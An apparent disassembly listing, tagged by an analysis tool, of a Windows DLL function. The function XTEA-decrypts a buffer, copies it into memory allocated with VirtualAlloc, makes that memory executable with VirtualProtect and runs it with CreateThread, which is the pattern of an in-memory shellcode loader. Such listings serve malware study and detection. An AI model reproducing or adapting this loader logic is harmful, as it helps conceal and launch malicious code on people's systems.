Function at 0x1800014d0
Capabilities:
Create thread
Encrypt data using xtea

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
cmp ecx, 0x14
jne 0x18000174e
mov rax, qword [0x18005ab60]
mov r8, qword [0x18005ab58]
sub rax, r8
cmp rax, 8
jae 0x18000151d
xor esi, esi
xor ecx, ecx
jmp 0x1800015d5
xor r9d, r9d
lea r10, [0x18004f980]
nop word [rax + rax]
mov ecx, dword [r8 + r9*8]
mov edi, dword [r8 + r9*8 + 4]
mov eax, 0x28b7bd67
mov r11d, 0x20
nop word cs:[rax + rax]
nop
lea edx, [rax - 0x61c88647]
mov esi, ecx
shl esi, 4
mov ebx, ecx
shr ebx, 5
xor ebx, esi
add ebx, ecx
shr edx, 0xb
and edx, 3
mov edx, dword [r10 + rdx*4]
add edx, eax
add edx, 0x9e3779b9
xor edx, ebx
sub edi, edx
mov edx, edi
shl edx, 4
mov esi, edi
shr esi, 5
xor esi, edx
add esi, edi
mov edx, eax
and edx, 3
mov edx, dword [r10 + rdx*4]
add edx, eax
xor edx, esi
sub ecx, edx
add eax, 0x61c88647
add r11d, 0xffffffff
jne 0x180001550
mov dword [r8 + r9*8], ecx
mov dword [r8 + r9*8 + 4], edi
add r9, 1
mov rax, qword [0x18005ab60]
mov r8, qword [0x18005ab58]
sub rax, r8
shr rax, 3
cmp r9, rax
jb 0x180001530
mov rsi, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
movsxd rax, dword [0x18005aba0]
mov rdx, rcx
sub rdx, rsi
cmp rdx, rax
jbe 0x1800015f0
add rax, rsi
mov qword [rbp - 0x18], rax
jmp 0x180001629
jae 0x180001629
mov rdi, qword [rbp - 0x10]
sub rdi, rsi
cmp rdi, rax
jae 0x180001614
lea rcx, [rbp - 0x20]
lea r8, [rbp - 0x28]
mov rdx, rax
call fcn.180001b10
mov rsi, qword [rbp - 0x20]
jmp 0x180001629
sub rax, rdx
lea rdi, [rcx + rax]
xor edx, edx
mov r8, rax
call fcn.180004890
mov qword [rbp - 0x18], rdi
mov r9d, dword [rbp - 0x10]
sub r9d, esi
mov r8d, dword [0x18005ab60]
mov rcx, qword [0x18005ab58]
sub r8d, ecx
mov rdx, rsi
call fcn.1800022e0
cdqe
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rdi, rcx
sub rdi, rdx
cmp rdi, rax
jbe 0x18000166a
add rdx, rax
mov qword [rbp - 0x18], rdx
mov rcx, rdx
jmp 0x1800016a6
jae 0x1800016a6
mov rbx, qword [rbp - 0x10]
sub rbx, rdx
cmp rbx, rax
jae 0x18000168e
lea rcx, [rbp - 0x20]
lea r8, [rbp - 0x28]
mov rdx, rax
call fcn.180001b10
mov rcx, qword [rbp - 0x18]
jmp 0x1800016a6
sub rax, rdi
lea rsi, [rcx + rax]
xor edx, edx
mov r8, rax
call fcn.180004890
mov qword [rbp - 0x18], rsi
mov rcx, rsi
sub ecx, dword [rbp - 0x20]
movsxd rsi, ecx
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
sub r8, rdx
mov rcx, rax
call fcn.1800041e0
mov dword [rbp - 0x28], 1
lea r9, [rbp - 0x28]
mov rcx, rdi
mov rdx, rsi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x18000174e
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x180001749
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x180001759
add rdx, 0x27
mov rcx, rax
call fcn.180001d90
xor eax, eax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.180005b9c
int3